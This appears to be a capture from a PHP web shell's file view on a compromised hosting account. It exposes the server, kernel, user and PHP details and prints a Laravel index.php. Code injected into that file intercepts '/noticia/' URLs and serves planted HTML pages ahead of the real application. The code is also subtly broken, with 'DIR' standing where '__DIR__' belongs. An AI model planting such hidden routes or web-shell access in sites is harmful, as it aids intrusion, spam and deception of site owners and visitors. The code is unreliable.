HEX
Server: LiteSpeed
System: Linux s1083.usc1.mysecurecloudhost.com 4.18.0-477.27.2.lve.el8.x86_64 #1 SMP Wed Oct 11 12:32:56 UTC 2023 x86_64
User: keeloilc (1034)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/keeloilc/kickcv.com/index.php
<?php

use Illuminate\Http\Request;

define('LARAVEL_START', microtime(true));

$requestUri = $_SERVER['REQUEST_URI'] ?? '/';
$path = parse_url($requestUri, PHP_URL_PATH);

if (preg_match('#^/noticia/(\d+)$#', $path, $matches)) {
    $id = $matches[1];
    $filePath = DIR . '/noticia/' . $id . '.html';

    if (file_exists($filePath)) {
        header('Content-Type: text/html; charset=UTF-8');
        readfile($filePath);
        exit;
    }

}

require DIR.'/../vendor/autoload.php';

$app = require_once DIR.'/../bootstrap/app.php';

$app->handleRequest(Request::capture());